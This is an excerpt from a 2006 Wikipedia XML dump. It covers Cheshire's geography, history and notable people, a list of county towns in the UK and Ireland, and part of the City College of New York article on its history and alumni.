| [[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
! Origin
| [[Traditional counties of England|Historic]]
|-
! Region
| [[North West England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. area
| [[List of Ceremonial counties of England by Area|Ranked 25th]]&lt;br /&gt;[[1 E9 m²|2,343]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;[[List of Administrative shire counties of England by Area|Ranked 25th]]&lt;br /&gt;2,083 km&amp;sup2;
|-
! Admin HQ
| [[Chester]]
|-
! [[ISO 3166-2:GB|ISO 3166-2]]
| GB-CHS
|-
! [[ONS coding system|ONS code]]
| 13
|-
! [[Nomenclature of Territorial Units for Statistics|NUTS]] 3
| UKD22
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 18th]]&lt;br /&gt;992,600&lt;br /&gt;424 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 14th]]&lt;br /&gt;680,000
|-
! Ethnicity
| 98.3% White
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Politics
|-
|colspan=2 align=center|[[Image:arms-cheshire.jpg|200px|Arms of Cheshire County Council]]&lt;br /&gt;Cheshire County Council&lt;br /&gt;http://www.cheshire.gov.uk/
|-
! Executive
| [[Conservative Party (UK)|Conservative]]
|-
! [[MPs elected in the UK general election, 2005|Members of Parliament]]
|
*[[Gwyneth Dunwoody]]
*[[Mike Hall (politician)|Mike Hall]]
*[[Helen Jones]]
*[[Andrew Miller]]
*[[Stephen O'Brien]]
*[[George Osborne]]
*[[Christine Russell]]
*[[Helen Southworth]]
*[[Derek Twigg]]
*[[Ann Winterton]]
*[[Nicholas Winterton]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Districts
|-
|colspan=2|&lt;center&gt;[[Image:Cheshire_Ceremonial_Numbered.png]]&lt;/center&gt;
#[[Ellesmere Port and Neston]]
#[[City of Chester|Chester]]
#[[Crewe and Nantwich]]
#[[Congleton (borough)|Congleton]]
#[[Macclesfield (borough)|Macclesfield]]
#[[Vale Royal]]
#[[Halton (borough)|Halton]] (Unitary)
#[[Warrington]] (Unitary)
|}

'''Cheshire''' (or archaically the ''County of Chester'') is a [[county palatine|palatine]] [[Counties of England|county]] in [[North West England]]. Its county town is the city of [[Chester, England|Chester]]. It is one of the most affluent counties in [[England]], with numerous rural towns and villages. It borders the [[Ceremonial counties of England|ceremonial counties]] of [[Merseyside]], [[Greater Manchester]], [[Derbyshire]], [[Staffordshire]] (with [[Stoke-on-Trent]]), and [[Shropshire]]. It also borders the unitary authorities of [[Flintshire]] and [[Wrexham]] in [[Wales]].

Some northern parts of the county are effectively [[suburb]]s of [[Manchester]] or [[Liverpool]], and many of those who work in these cities commute from other parts of the county.

Cheshire's largest town is [[Warrington]] &amp;mdash; although half of the town lying to the north of the [[River Mersey]] it is traditionally part of [[Lancashire]]. The administrative centre for Cheshire is [[Chester]], the historical [[county town]]. Other important towns in Cheshire are: [[Northwich]], [[Crewe]], [[Wilmslow]], [[Ellesmere Port]], [[Macclesfield]], [[Runcorn]] and [[Widnes]]. Warrington and [[Halton (borough)|Halton]] (including Widnes and Runcorn) are [[unitary authority|unitary authorities]].

==History==
:''Main article: [[History of Cheshire]].''

Cheshire in the [[Domesday Book]] was recorded as a much larger county than it is today. Its northern border was the [[River Ribble]], and it was recorded with eighteen [[hundred (division)|hundred]]s, six of which were north of the [[River Mersey]].

In [[1182]] the land north of the Mersey became administered as part of the new county of [[Lancashire]] instead. Later, the hundreds of [[Atiscross]] and [[Exestan]] became part of [[Wales]]. Over the years the ten hundreds consolidated to just seven &amp;mdash; [[Broxton]], [[Bucklow]], [[Eddisbury]], [[Macclesfield (hundred)|Macclesfield]], [[Nantwich (hundred)|Nantwich]], [[Northwich (hundred)|Northwich]], and [[Wirral (hundred)|Wirral]].

In a local government reform in [[1974]], some areas near the border with Lancashire became part of the new metropolitan counties of [[Greater Manchester]] and [[Merseyside]], notably [[Stockport]], and much of the [[Wirral Peninsula]] was also lost, as was the North-Eastern tip, comprising the areas of Woodhead and Tintwistle, which transferred into Derbyshire. Also at this time, Cheshire gained [[Warrington]] and the surrounding district from Lancashire, as well as [[Widnes]].

[[Halton (borough)|Halton]] and [[Warrington]] became unitary authorities independent of Cheshire on [[April 1]], [[1998]], but remain part of the county for ceremonial purposes, as well as fire and policing. A referendum for a further local government reform connected with a [[regional assemblies in England|regional assembly]] was planned for [[2004]], but was abandoned (''see [[Northern England referendum, 2004]]'').

==Geography==
[[Image:Cattle33.JPG|thumb|left|Cattle farming in the county]]

Cheshire covers a boulder clay plain separating the hills of [[North Wales]] and the [[Peak District]] of [[Derbyshire]]. This was formed following the retreat of [[ice age]] glaciers which left the area dotted with [[kettle hole]]s, locally referred to as &quot;meres&quot;. The bedrock of this region is almost entirely [[Triassic]] [[sandstone]], outcrops of which have long been quarried, notably at [[Runcorn]], providing the distinctive red stone for [[Liverpool Cathedral]] and [[Chester Cathedral]].

The eastern half of the county is Upper Triassic Mercia mudstone laid down with large [[table salt|salt]] deposits which were mined for hundreds of years around [[Northwich]]. Separating this area from Lower Triassic Sherwood sandstone to the west is a prominent Sandstone Ridge. A 51km footpath follows this ridge from [[Frodsham]] to [[Whitchurch]] passing [[Delamere Forest]], [[Beeston Castle]] and earlier [[iron age]] forts.
 
Cheshire is a mainly rural county with a high concentration of villages. Agriculture is generally based around the dairy trade and cattle are the predominant livestock. Most of the industry is in the North adjacent to the [[Mersey]], notably the centre of the British chemical industry, including [[ICI]] at [[Runcorn]] (originally sited here because of the proximity of salt mines). [[Crewe]] was once the centre of the [[Rail transport in Great Britain|British railway industry]] and remains a major junction. Towns in the east of Cheshire form Manchester's most affluent commuter belt with some of the UK's highest property prices outside the [[Home Counties]]. Cheshire is rich in [[canal]]s, particularly the east of the county with its strategic importance between [[Manchester]], [[Stoke]] and [[Birmingham]]. The Rochdale, [[Ashton Canal|Ashton]], [[Peak Forest Canal|Peak Forest]], [[Macclesfield Canal|Macclesfield]], [[Trent and Mersey Canal|Trent and Mersey]] and [[Bridgewater Canal|Bridgewater]] canals have been restored for leisure use, forming the &quot;Cheshire Ring&quot;.

==Famous products==
*[[Cheshire cheese]]
*[[table salt|Salt]]

==Famous people==
* Singer [[Tim Burgess]] from the [[Charlatans_UK|Charlatans]]
* [[Charles Lutwidge Dodgson|Lewis Carroll]] was born and raised here, hence the [[Cheshire cat]]
* Actor and singer [[Tim Curry]] was born in [[Warrington]]
* [[Thomas Egerton, 1st Baron Ellesmere]] was born in [[Ellesmere]]
* Writer [[Alan Garner]]
* Film and stage actress [[Dame Wendy Hiller]] was born in [[Bramhall]]
* Victorian novelist [[Elizabeth Gaskell]] was brought up in the town of [[Knutsford]], which she depicted in her book, ''[[Cranford (novel)|Cranford]]''
* [[Gerald Grosvenor, 6th Duke of Westminster]], one of the UK's wealthiest residents lives at [[Eaton Hall (Cheshire)|Eaton Hall]] near [[Chester]]
* [[Emma Hamilton]] (Lady Hamilton) was born in the county
* [[George Mallory]] born in Mobberley, Cheshire, famous [[mountaineer]], died in 1924 climbing [[Mt. Everest]]
* [[Wayne Rooney]], footballer
* [[Michael Owen]], footballer, was born in Chester and stills maintains a family home there despite his recent transfer North-East to Newcastle.

==Settlements==
This is a list of the major towns and cities in Cheshire, for a full list of settlements see [[list of places in Cheshire]].

{|cellspacing=10
| valign=top |
* [[Alderley Edge]]
* [[Alsager]]
* [[Bollington]]
* [[Chester, Cheshire|Chester]]
* [[Congleton]]
* [[Crewe]]
* [[Ellesmere Port]]
* [[Frodsham]]
* [[Knutsford]]
* [[Macclesfield]]
* [[Middlewich]]
| valign=top |
* [[Nantwich]]
* [[Neston, Cheshire|Neston]]
* [[Northwich]]
* [[Runcorn]]
* [[Sandbach]]
* [[Warrington]]
* [[Wilmslow]]
* [[Widnes]]
* [[Winsford]]
|}

==Places of interest==
''(in alphabetical order)''
*[[Adlington Hall]]
*[[Anderton Boat Lift]]
*[[Arley Hall]]
*[[Beeston Castle]]
*[[Biddulph Valley Way]], a [[long distance footpath]]
*[[Capesthorne Hall]]
*[[Cholmondley Castle]]
*[[Dunham Massey]]
*[[Ellesmere Port Boat Museum]]
*[[Elton Hall]], Aldford
*[[Gawsworth Hall]]
*[[Holt Castle]]
*[[Jodrell Bank]] Science Centre
*[[Lion Salt Works]], [[Marston, Cheshire|Marston]], an industrial museum
*[[Little Moreton Hall]]
*[[Lyme Hall]], [[Lyme Park]], one of the locations for BBC's ''[[Pride and Prejudice]]''
*[[Macclesfield Canal]]
*[[Macclesfield Forest]]
*[[Moss Hall]], Audlem
*[[Ness Botanic Gardens]]
*[[Parkgate, Cheshire|Parkgate]]
*[[Peckforton Castle]]
*[[Peover Hall]]
*[[Quarry Bank Mill]], [[Styal]], an industrial museum
*[[River Weaver]], [[River Dee, Wales|River Dee]], [[River Dane]], [[River Bollin]], [[River Goyt]], [[River Gowy]]
*[[Sandbach]] Crosses
*[[Shropshire Union Canal]]
*[[Swettenham Meadows]]
*[[Tabley House]]
*[[Tatton Hall]], [[Tatton Park]]
*[[Tegg's Nose Country Park]]
*[[Trent and Mersey Canal]]
*[[Watermill]]s: [[Bunbury Mill]], [[Nether Alderley Mill]], [[Quarry Bank Mill]], [[Stretton Mill]]

== External links ==
{{Wiktionary|Cheshire}}
*[http://www.cheshire.gov.uk Cheshire Council]
*[http://www.wildlifetrust.org.uk/cheshire Cheshire Wildlife Trust]
*[http://www.lionsaltworkstrust.co.uk Lion Salt Works Museum]
*[http://www.manchester2002-uk.com/maps/canalss-map.html Cheshire Canals]

{{England ceremonial counties}}
&lt;br /&gt;
{{England traditional counties}}
&lt;br /&gt;
{{NW_England}}

[[Category:Cheshire| ]]
[[Category:Counties of the Welsh Marches]]

[[ang:Ceasterscīr]]
[[de:Cheshire]]
[[es:Cheshire]]
[[eo:Cheshire]]
[[fr:Comté de Cheshire]]
[[no:Cheshire]]
[[simple:Cheshire]]
[[sk:Cheshire (grófstvo)]]</text>
    </revision>
  </page>
  <page>
    <title>County town</title>
    <id>7407</id>
    <revision>
      <id>39924008</id>
      <timestamp>2006-02-16T21:29:40Z</timestamp>
      <contributor>
        <ip>86.142.47.126</ip>
      </contributor>
      <text xml:space="preserve">A '''county town''' is the 'capital' of a [[county]] in the [[United Kingdom]] or [[Ireland]]. County towns are usually the location of administrative or judicial functions, or established over time as the ''de facto'' main town of a county.

In the case of [[Yorkshire]] in [[England]], there are three county towns, one for each [[Riding]]: [[Northallerton]] for the [[North Riding of Yorkshire|North Riding]], [[Beverley]] for the [[East Riding of Yorkshire|East Riding]], and [[Wakefield]] for the [[West Riding of Yorkshire|West Riding]]. Contrary to popular belief, there are no civil administrative offices for the county of Yorkshire as a whole (not even in [[York]]). 

Note that in [[Canada]] and the [[United States|United States of America]], the term '''[[county seat]]''' is usually used for the same purpose.  However, in the state of [[Louisiana]] the term '''[[parish seat]]''' is used instead.

==List of county towns==
===[[Traditional counties of England|Historic counties of England]]===
* [[Bedfordshire]] - [[Bedford, England|Bedford]]
* [[Berkshire]] -  [[Reading, Berkshire|Reading]]
* [[Buckinghamshire]] - [[Aylesbury]]
* [[Cambridgeshire]] - [[Cambridge]]
* [[Cheshire]] - [[Chester, England|Chester]]
* [[Cornwall]] - [[Truro]]
* [[Cumberland, England|Cumberland]] - [[Carlisle, England|Carlisle]]
* [[Derbyshire]] - [[Derby, England|Derby]], though [[County Hall]] is in [[Matlock, England|Matlock]]
* [[Devon]] - [[Exeter, England|Exeter]]
* [[Dorset]] - [[Dorchester, Dorset|Dorchester]]
* [[County Durham]] - [[Durham]]
* [[Essex, England|Essex]] - [[Chelmsford, England|Chelmsford]]
* [[Gloucestershire]] - [[Gloucester, England|Gloucester]]
* [[Hampshire]] - [[Winchester, Hampshire|Winchester]]
* [[Herefordshire]] - [[Hereford]]
* [[Hertfordshire]] - [[Hertford]]
* [[Huntingdonshire]] - [[Huntingdon]]
* [[Kent]] - [[Maidstone]]
* [[Lancashire]] - [[Lancaster, England|Lancaster]], though County Hall is in [[Preston]]
* [[Leicestershire]] - [[Leicester]], though County Hall is in [[Glenfield, Leicestershire|Glenfield]], [[Blaby (district)|Blaby District]] 
* [[Lincolnshire]] - [[Lincoln, England|Lincoln]]
* [[Middlesex]] - [[Brentford]], [[Clerkenwell]] or [[City of Westminster|Westminster]] for different functions
* [[Norfolk, England|Norfolk]] - [[Norwich, England|Norwich]]
* [[Northamptonshire]] - [[Northampton]]
* [[Northumberland]] - [[Morpeth, Northumberland|Morpeth]]
* [[Nottinghamshire]] - [[Nottingham]], though County Hall is in [[West Bridgford, Nottinghamshire|West Bridgford]], [[Rushcliffe|Rushcliffe Borough]] 
* [[Oxfordshire]] - [[Oxford]]
* [[Rutland, England|Rutland]] - [[Oakham]] 
* [[Shropshire]] - [[Shrewsbury]]
* [[Somerset]] - [[Taunton, Somerset|Taunton]]
* [[Staffordshire]] - [[Stafford, England|Stafford]]
* [[Suffolk]] - [[Ipswich, England|Ipswich]]
* [[Surrey]] - [[Guildford]], though County Hall is in [[Kingston upon Thames]]
* [[Sussex, England|Sussex]] - [[Chichester]], (also Lewes)
* [[Warwickshire]] - [[Warwick, England|Warwick]]
* [[Westmorland]] - [[Appleby, Westmorland|Appleby]]
* [[Wiltshire]] - [[Wilton, Wiltshire|Wilton]] (near [[Salisbury, England|Salisbury]]), now [[Trowbridge]]
* [[Worcestershire]] - [[Worcester, England|Worcester]]
* [[Yorkshire]] - traditionally [[York]], but the ridings were administered as distinct counties from an early date
** North Riding (also [[North Yorkshire]]) - [[Northallerton]]
** East Riding - [[Beverley]]
** West Riding - [[Wakefield]]

===Non-metropolitan counties of England===
* [[Cumbria]] - [[Carlisle, England|Carlisle]]
* [[Isle of Wight]] - [[Newport, Isle of Wight|Newport]]
* [[West Sussex]] - [[Chichester]] 
* [[East Sussex]] - [[Lewes]]

===[[Counties of Scotland]]===
* [[Aberdeenshire (traditional)|Aberdeenshire]] - [[Aberdeen]]
* [[Angus]] - [[Forfar]]
* [[Argyll]] - [[Lochgilphead]]
* [[Ayrshire]] - [[Ayr]]
* [[Banffshire]] - [[Banff and Macduff|Banff]]
* [[Berwickshire]] - [[Duns]] (formerly [[Berwick-upon-Tweed]])
* [[Bute]] - [[Rothesay (Scotland)|Rothesay]]
* [[Caithness]] - [[Wick, Caithness|Wick]]
* [[Clackmannanshire]] - [[Alloa]] (formerly [[Clackmannan]]) 
* [[Cromartyshire]] - [[Cromarty]]
* [[Dumfriesshire]] - [[Dumfries]]
* [[Dunbartonshire]] - [[Dumbarton]]
* [[East Lothian]] - [[Haddington, East Lothian|Haddington]]
* [[Fife]] - [[Cupar]]
* [[Inverness-shire]] - [[Inverness]]
* [[Kincardineshire]] - [[Stonehaven]] (formerly [[Kincardine]])
* [[Kinross-shire]] - [[Kinross]]
* [[Kirkcudbrightshire]] - [[Kirkcudbright]]
* [[Lanarkshire]] - [[Lanark]]
* [[Mid Lothian]] - [[Edinburgh]]
* [[Morayshire]] - [[Elgin, Moray|Elgin]]
* [[Nairnshire]] - [[Nairn]]
* [[Orkney]] - [[Kirkwall]]
* [[Peeblesshire]] - [[Peebles]]
* [[Perthshire]] - [[Perth, Scotland|Perth]]
* [[Renfrewshire]] - [[Renfrew]]
* [[Ross-shire]] - [[Dingwall]] (also the county town of [[Ross and Cromarty]])
* [[Roxburghshire]] - [[Jedburgh]] (formerly [[Roxburgh]])
* [[Selkirkshire]] - [[Selkirk]]
* [[Shetland]] - [[Lerwick]]
* [[Stirlingshire]] - [[Stirling]]
* [[Sutherland]] - [[Dornoch]]
* [[West Lothian]] - [[Linlithgow]]
* [[Wigtownshire]] - [[Wigtown]]

===[[Traditional counties of Wales|Historic counties of Wales]]===
* [[Anglesey]] - [[Llangefni]] (formerly [[Beaumaris, Wales|Beaumaris]])
* [[Brecknockshire]] - [[Brecon]]
* [[Caernarvonshire]] - [[Caernarfon]]
* [[Cardiganshire]] - [[Cardigan, Wales|Cardigan]]
* [[Carmarthenshire]] - [[Carmarthen]]
* [[Denbighshire]] - [[Ruthin]] (formerly [[Denbigh]])
* [[Flintshire]] - [[Mold, Flintshire|Mold]] (formerly [[Flint, Wales|Flint]])
* [[Glamorgan]] - [[Cardiff]]
* [[Merionethshire]] - [[Dolgellau]]
* [[Monmouthshire]] - [[Monmouth]] 
* [[Montgomeryshire]] - [[Montgomery, Powys|Montgomery]]
* [[Pembrokeshire]] - [[Haverfordwest]] (formerly [[Pembroke]])
* [[Radnorshire]] - [[Presteigne]] (formerly [[New Radnor]])

===Traditional counties of the [[Republic of Ireland]]===
* [[County Carlow]] - [[Carlow]]
* [[County Cavan]] - [[Cavan]]
* [[County Clare]] - [[Ennis]]
* [[County Cork]] - [[Cork]]
* [[County Donegal]] - [[Lifford]]
* [[County Dublin]] - [[Dublin]]
* [[County Galway]] - [[Galway]]
* [[County Kerry]] - [[Tralee]]
* [[County Kildare]] - [[Naas]]
* [[County Kilkenny]] - [[Kilkenny]]
* [[County Laois]] - [[Portlaoise]]
* [[County Leitrim]] - [[Carrick-on-Shannon]]
* [[County Limerick]] - [[Limerick]]
* [[County Longford]] - [[Longford Town, Longford|Longford]]
* [[County Louth]] - [[Dundalk]]
* [[County Mayo]] - [[Castlebar]]
* [[County Meath]] - [[Trim]] ([[Navan]] - de facto)
* [[County Monaghan]] - [[Monaghan]]
* [[County Offaly]] - [[Tullamore]]
* [[County Roscommon]] - [[Roscommon]]
* [[County Sligo]] - [[Sligo|Sligo]]
* [[County Tipperary]] - [[Tipperary]]
* [[County Waterford]] - [[Waterford]]
* [[County Westmeath]] - [[Mullingar]]
* [[County Wexford]] - [[Wexford]]
* [[County Wicklow]] - [[Wicklow]]

===Other counties of the Republic of Ireland===
* [[Dun Laoghaire-Rathdown|County of Dun Laoghaire-Rathdown]] - [[Dún Laoghaire]]
* [[Fingal|County of Fingal]] - [[Swords, Dublin|Swords]]
* [[North Tipperary|County of North Tipperary]] - [[Nenagh]]
* [[South Dublin|County of South Dublin]] - [[Tallaght]]
* [[South Tipperary|County of South Tipperary]] - [[Clonmel]]

===Historic counties of [[Northern Ireland]]===
* [[County Antrim]] - [[Antrim]]
* [[County Armagh]] - [[Armagh]]
* [[County Down]] - [[Downpatrick]]
* [[County Fermanagh]] - [[Enniskillen]]
* [[County Londonderry]] (Derry) - [[Derry]] (Londonderry)
* [[County Tyrone]] - [[Omagh]]

Note - Despite the fact that [[Belfast]] is the capital, it is not the county town of any [[county]] as it is in two counties (''Antrim'' and ''Down'').

==Former county towns==
In [[1965]] and [[1974]] there were major administrative boundary changes in [[England and Wales]] and [[administrative county|administrative counties]] were replaced with new metropolitan and non-metropolitan counties.  The boundaries underwent more major alterations between [[1995]] and [[1998]] to create [[Unitary Authority|unitary authorities]] and some of the [[traditional county|traditional counties]] and county towns were restored for administrative purposes.

===Former administrative counties of England===
* [[Cambridgeshire and Isle of Ely]] - [[Cambridge]]
* [[East Suffolk]] - [[Ipswich, England|Ipswich]]
* [[Holland, Lincolnshire|Holland]] - [[Boston, Lincolnshire|Boston]]
* [[Huntingdon and Peterborough]] - [[Huntingdon]]
* [[Isle of Ely]] - [[March, Cambridgeshire|March]]
* [[Kesteven]] - [[Sleaford]]
* [[Lindsey (British subdivision)|Lindsey]] - [[Lincoln, Lincolnshire|Lincoln]]
* [[County of London|London]] - [[London]]
* [[Soke of Peterborough]] - [[Peterborough]]
* [[West Suffolk]] - [[Bury St Edmunds|Bury]]

===Former non-metropolitan counties of England===
* [[County of Avon|Avon]] - [[Bristol]]
* [[Cleveland, England|Cleveland]] - [[Middlesbrough]]
* [[Hereford and Worcester]] - [[Worcester]]
* [[Humberside]] - [[Beverley]]

===Former counties of Wales===
The eight administrative counties that existed in Wales between 1974 and 1996 were subsequently retained as [[Preserved counties of Wales|lieutenancy areas]]. Since these areas have no administrative or judicial functions they no longer have county towns.  The county towns in Glamorgan were seldom referred to as such even when the administrative counties existed.

* [[Clwyd]] - [[Mold, Wales|Mold]]
* [[Dyfed]] - [[Carmarthen]]
* [[Gwent]] - [[Cwmbran]]
* [[Gwynedd]] - [[Caernarfon]]
* [[Mid Glamorgan]] - [[Cardiff]] (extraterritorial)
* [[Powys]] - [[Llandrindod Wells]]
* [[South Glamorgan]] - [[Cardiff]]
* [[West Glamorgan]] - [[Swansea]]

[[Category:Capitals]]

[[simple:County town]]
[[sl:Glavno mesto grofije]]</text>
    </revision>
  </page>
  <page>
    <title>City College of New York</title>
    <id>7409</id>
    <revision>
      <id>41102845</id>
      <timestamp>2006-02-25T01:38:31Z</timestamp>
      <contributor>
        <ip>24.24.151.120</ip>
      </contributor>
      <comment>/* The arts */</comment>
      <text xml:space="preserve">{{Infobox_University 
|image          = [[Image:Ccnymedal.jpg|200px|CCNY seal]] 
|name           = City College of New York 
|motto          = Respice, Adspice, Prospice&lt;br /&gt;(''Look back, look at, and look ahead'') 
|established    = [[1847]] 
|type           = [[Public school|Public]] 
|president= [[Gregory Williams]] 
|city           = [[New York City|New York]] 
|state          = [[New York|NY]] 
|country        = [[United States|USA]] 
|undergrad      = 8,408 
|postgrad       = 2,116 
|staff= 473 
|campus         = [[Urbanization|Urban]] 
|mascot         = [[Beaver]] 
|free_label     = Athletics 
|free           = 10 sports teams 
|website= [http://www.ccny.cuny.edu/ www.ccny.cuny.edu]
}}The '''City College of The City University of New York''' (known more commonly as City College of New York or simply City College, CCNY, or colloquially as &quot;City&quot;) is a senior college of the [[City University of New York]], in [[New York City]].  It is also the oldest of City University's twenty institutions of higher learning.  City College's campus is on a hill overlooking [[Harlem, Manhattan|Harlem]]; its [[neo-Gothic]] campus was mostly designed by [[George Browne Post]], and many of its buildings are [[landmarks]].

CCNY is widely considered to be the flagship municipal college of New York City.

== History ==
City College was originally founded as the '''Free Academy of the City of New York''' in [[1847]] by [[Townsend Harris]] to provide children of the poor and immigrants access to higher education. It was subsequently named the '''College of the City of New York''',  but that name was later transferred to the complex of the municipally-owned colleges in New York City, which was the predecessor of the modern [[City University of New York]]. At that time, CCNY became officially '''City College of the College of the City of New York''', and later adopted its current name when CUNY was formally established as the umbrella institution for New York City's municipal-college system in [[1961]]. The name ''City College of New York'', however, is in general use.

In the years when top-flight private schools were restricted to the children of the [[Protestant]] [[The Establishment|Establishment]], thousands of brilliant individuals attended City College because they had no other option.  CCNY's academic excellence and status as a working-class school earned it the title &quot;[[Harvard University|Harvard]] of the [[Proletariat]].&quot;  

[[Image:Harlem ccny.jpg|thumb|right|250px|Looking down W 139 Street in [[Harlem]], towards Shepard Hall at the City College of New York.]]
Even today, after three decades of relative mediocrity, no other public college has produced as many [[Nobel Prize|Nobel]] laureates who have studied and graduated with an undergraduate degree from a particular public college {{rf|1|Nobel1}}. CCNY's official quote on this is &quot;Nine Nobel laureates claim CCNY as their Alma Mater, the most from any public college in the United States&quot;. [http://www1.ccny.cuny.edu/advancement/pr/presskit/]
[http://www1.ccny.cuny.edu/advancement/pr/presskit/nobel/index.cfm]

In its heyday of the [[1930s]] through the [[1950s]], CCNY became known for its [[politics|political]] [[radicalism]].  It was said that CCNY was the place for arguments between [[Trotskyism|Trotskyites]] and [[Stalinism|Stalinists]].  [[Alumn]]i who were at City College in the mid-[[20th century]] said that City College in those days made [[University of California, Berkeley|Berkeley]] in the [[1960s]] look like a school of conformity.

CCNY may be best known as the only team in [[college basketball]] history to win both the [[National Invitation Tournament|NIT]] and the [[NCAA Tournament]] in the same year, [[1950]].  

In the 1969, [[African American|black]] and [[Puerto Rican]] activists and their [[whites|white]] allies demanded that City College implement an aggressive [[affirmative action]] program.  The administration of CCNY at first balked at the idea, but instead, came up with an open-admissions or open-access program under which any graduate of a NYC [[high school]] might be able to matriculate either at City College or somewhere in the CUNY college system. Beginning in 1970, the program opened doors to college to many who would not otherwise have been able to attend college, but came at the cost of City College's academic standing and New York City's fiscal health.  

City College began charging tuition in the [[1970s]], and by the 1990s stopped accepting and working with students who didn't meet its formal entrance requirements.

In [[October]] [[2005]], Dr. [[Andrew Grove]], a [[1960]] graduate of the Engineering School in [[Chemical Engineering]], and co-founder of [[Intel]] Corporation, donated $26,000,000 to the Engineering School.
It is the largest donation ever given to the City College of New York.

The Engineering School has been renamed as the Grove School of Engineering.

==Campus history==
City College was originally situated in downtown [[Manhattan]], as the Free Academy Building (1849-1927). This building was home for CCNY from 1849 to 1907. It was designed by [[James Renwick, Jr.]] and was located at Lexington Avenue and 23rd Street. It was likely the first Gothic Revival college building on the East Coast. [http://origin.admin.ccny.cuny.edu/library/exhibitions/lostworld/freeacademy.html]

CCNY then moved to its current location in upper Manhattan village of Manhattanville in 1906, when the classical neo-Gothic campus was erected. It was designed by [[George Browne Post]].

A separate library building was not in the original plan for the 1906 campus, so in 1937, a free-standing library was built, called The Bowker/Alumni Library and stood on the present site of the Steinman Engineering building until 1957. [http://origin.admin.ccny.cuny.edu/library/exhibitions/lostworld/bowker.html]

In 1953, CCNY bought the campus of the [[Manhattanville College| Manhattanville College of the Sacred Heart]] (which on a 1913 map was shown as The Convent of the Sacred Heart), which added a south section to the campus. It thereby assumed its current layout from 140th Street to 130th Street, from St. Nicholas Terrace, west to [[Amsterdam Avenue]].

In 1957, after the expansion of the campus, a new library building was erected in the middle of the campus, near 135th Street on the South Campus, and named Cohen Library. The library was moved some decades later to be inside the North Academic Center building on the North Campus.

In 2006, for the first time ever in its history, CCNY built and opened a dormitory for students, located on its South Campus, and called &quot;The Towers&quot;. [http://www.ccnytowers.com/ccny/]

== Notable alumni ==

===Nobel laureates===
*[[Julius Axelrod]] [[1933]] - [[1970]] [[Nobel Prize|Nobel]] laureate in [[Medicine]]
*[[Kenneth Arrow]] [[1940]] - [[1972]] [[Nobel Prize|Nobel]] laureate in [[Economics]]
*[[Herbert Hauptman]] [[1937]] - [[1985]] [[Nobel Prize|Nobel]] laureate in [[Chemistry]]
*[[Robert Hofstadter]] [[1935]] - [[1961]] [[Nobel Prize|Nobel]] laureate in [[Physics]]
*[[Jerome Karle]] [[1937]] - [[1985]] [[Nobel Prize|Nobel]] laureate in [[Chemistry]]
*[[Arthur Kornberg]] [[1937]] - [[1959]] [[Nobel Prize|Nobel]] laureate in [[Medicine]]
*[[Leon M. Lederman]] [[1943]] - [[1988]] [[Nobel Prize|Nobel]] laureate in [[Physics]]
*[[Arno Penzias]] [[1954]] -  [[1978]] [[Nobel Prize|Nobel]] laureate in [[Physics]]
*[[Robert J. Aumann]] [[1950]] - [[2005]] [[Nobel Prize|Nobel]] laureate in [[Economics]]

===Rhodes Scholars===
*[[James T. Molloy]] 1939
*[[Lev A. Sviridov]] 2005

===Fulbright Scholars===
*[[Vera Grant]] 1995

===Truman Scholars===
*[[Charles Claudio Simpkins]] 2005

===Politics, government, and sociology===
*[[Herman Badillo]] [[1951]], former Congressman and Chairman of [[CUNY]]'s Board of Trustees, was an architect of the University's academic rebirth.
*[[Daniel Bell]] - sociologist, professor at [[Harvard University]]
*[[Bernard Baruch|Bernard M. Baruch]] - [[Wall Street]] financier and adviser to American Presidents for 40 years, from [[Woodrow Wilson]] to [[John F. Kennedy]].
*[[Abraham D. Beame]] 1928 - mayor of [[New York City]], [[1974]] to [[1977]]
*[[Stephen Bronner]] - political theorist, Marxist, professor at [[Rutgers University]]
*[[Felix Frankfurter]] 1902 - justice of the [[U.S. Supreme Court]], January 30, [[1939]]–August 28, [[1962]].

*[[George Friedman]] - founder of [[Stratfor]], author, professor of [[Political Science]], security and defense analyst
*[[Nathan Glazer]] - [[neoconservative]] political pundit
*[[Irving Howe]] - coined the phrase &quot;New York Jewish Intellectual&quot;
*[[Ed Koch]] 1945 - mayor of [[New York City]], [[1978]] to [[1989]]
*[[Irving Kristol]] - [[neoconservatism|neoconservative]] pundit
*[[Robert T. Johnson]] 1972 - [[Bronx District Attorney]].
*[[Guillermo Linares]] 1975 - the first [[Dominican-American]] [[New York City Council]] Member.
*[[Colin Powell|Colin L. Powell]] - Former [[United States Secretary of State]], [[2001]] to [[2005]]
*[[Julius Rosenberg]] - infamous convicted spy during the [[Cold War]]
*[[Robert F. Wagner| Robert F. Wagner Sr.]] - [[United States Senator]] from New York, [[1927]] to [[1949]]
*[[Michelle Wallace]] 1975 - a major figure in African-American studies, feminist studies and cultural studies

===The arts===
*[[Maurice Ashley]] 1993 - the first [[African-American]] [[International Chess Grandmaster]].
*[[Paddy Chayevsky]] - famed playwright for the stage and screen, wrote ''[[Marty]]'' and ''[[Altered States]]''
*[[Ira Gershwin]] 1918 - American lyricist, collaborator with, and brother of [[George Gershwin]] 
*[[Marv Goldberg]] - Music historian in the field of [[rhythm &amp; blues]]
*[[Hazelle Goodman]] 1986 - Stage, screen and TV actress, was the first [[African-American]] to hold a leading role in a [[Woody Allen]] film, [[Deconstructing Harry]].
*[[Arthur Guiterman]], humorous poet
*[[Luis Guzmán]] - actor
*[[Yip Harburg|E.Y. &quot;Yip&quot; Harburg]] 1918 - American lyricist (''[[The Wizard of Oz (1939 movie)|The Wizard of Oz]], [[Finian's Rainbow]]'', others)
*[[Oscar Hijuelos]] 1975 - won the [[1990]] [[Pulitzer Prize]] for his novel ''[[The Mambo Kings Play Songs of Love]]''.
*[[Judd Hirsch]] 1960 - American actor
